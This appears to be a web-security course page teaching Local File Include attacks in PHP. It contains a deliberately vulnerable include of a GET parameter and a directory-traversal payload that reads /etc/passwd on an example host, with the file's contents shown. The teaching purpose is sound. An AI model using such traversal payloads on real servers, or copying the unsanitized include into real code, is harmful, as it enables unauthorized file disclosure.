Local File Includes
As we introduced in the previous step, Local File Includes (LFI) are more common than Remote File Includes. These attacks work because the site developer breaks Rule #1 (Don't trust user input) and allows user input to be entered into the included file path.
Consider the following scenario which illustrates LFI:
The developer of an online shopping application has a catalogue. As the bulk of the page (aside from the product itself) is the same, to maintain consistency (re-usability, and all manner of good programming practice) we end up with the following page:
<form method="get">
<div action="examples.php" class="form-group">
<label for="product">Product</label>
<select type="text" class="form-control" id="product" name="product">
<option value="widget.php">Widget</option>
<option value="gubbins.php">Gubbins</option>
....
</select>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary">Show Language</button>
</div>
</form>
<?php
if (!isset($_GET["product"])){
include "default.php";
}
else{
include $_GET["product"];
}
?>
The Form is available on the the Docker Web Trainer for you to follow along with.
So we end up with a drop down box, which when used, ends up populating the rest of the page. The data for each item is stored in its own PHP file, which then gets included in the output for the final rendered page.
Note
In this case we are including a .php page. However the included file can be of any type for example text, or plain HTML. This makes little difference to the attack, as the contents of the page will still be parsed by the PHP interpreter.
Places to look For Includes vulnerabilities
Unless we have access to the source code for the website we are testing, then we need to audit the site trying to find these style of vulnerabilities. We know that the issue occurs when the user has control of the input, which means we need to be looking for areas such as:
- Forms
- Request Parameters
- Cookies
Areas that we should pay special attention to are those scripts that
take filenames as parameters, for example http://target.com/preview?file=example.html
Directory Traversal using Includes
Lets look at one example of what we can do with LFI attacks. Directory traversal is a form of information leakage that allows us to read files elsewhere on the system
In the form above developer is trusting the user's input, (it's only a select box -- no one can change the options there) they are leaving themselves open to a directory traversal attack.
- We know we can take control of the value of product though a modified request.
- What happens if we change it's value, to another file?
Consider what would happen if we submitted foo.php as the value of product
Note
You may be wondering how we change the parameter a Select box in a form holds. As the form is setup for GET requests, this is trivial, we can just change the query string in the URL. If the request is a POST request we would have to change the request body sent to the server. If you need reminding how request parameters are sent, refer back to My Notes on Requests
http://evil.org/products?product=foo.php
Rather than load a known product we would get an error such as.
Warning: include(foo.php): failed to open stream: No such file or directory in /var/www/html/finc/examples.php on line 75
Warning: include(): Failed opening 'foo.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/html/finc/examples.php on line 75
Which not only tells us we have control of the input, but also gives us some useful information on the file structure of the server.
Info
This is where we need to apply some Human thinking...
Hopefully from Recon we know the type of server we are looking at, and the hardware behind it.
In this example we know we are on an Apache server, so the path to HTTP
directory is likely to be the default of /var/www/html
Other OS and servers differ, so it's probably worth knowing the HTTP path
for a range of servers (IIS, Nginx, etc).
So considering we are on a 'nix system we could also try to access a "well known" file that has a standard location (for example /etc/passwd
)
http://evil.org/products?product=../../../../../../etc/passwd
Which gives us the contents of the /etc/passwd file (and a list of all the users on the system)
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin dang:x:1000:1000:dang,,,:/home/dang:/bin/bash mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false colord:x:109:116:colord colour management daemon,,,:/var/lib/colord:/bin/false saned:x:110:117::/var/lib/saned:/bin/false
What's Happening here??
Here we cannot use absolute paths (as far as the server is concerned "/" is the root of the web folder (ie www.evil.org/)
Think all the way back to your Operating systems basics.
Remember that ../`` will move us back one level of the directory higherachy.
Adding multiple
../```'s will keep moving us up the tree until we get to the root.
Once we are somewhere we know is constant, it makes it easy to move on to our target file.
Note
Most OS wont break if you try to go beyond the root. So you can keep adding
../
until you get the expected response
So this means we can access any of the files throughout the system (if the www-user can read them)
While this has consequences of its own for systems security, as we can potentailly read any fil, we are still some way off of having a working exploit, as we need some way of getting our payload onto the system.
Video Walkthrough of LFI
LFI can be a bit confusing to get going with. We will discuss fully in the lecture, and I have a video of the attack in action below.
Summary
In this article we Introduced Local File Includes. This is a technique that makes use of templating style functionality, to pull in files from elsewhere on the system, and include them on the page.
Local file includes can allow us to read (and display) any file that is readable by the web server user, and can be a good source of information disclosure. However, they can be difficult to exploit to get a full remote shell.
Before we look at that, we will examine the more dangerous Remote File Includes (RFI) vulnerability, and use this approach to gain remote access to the web server.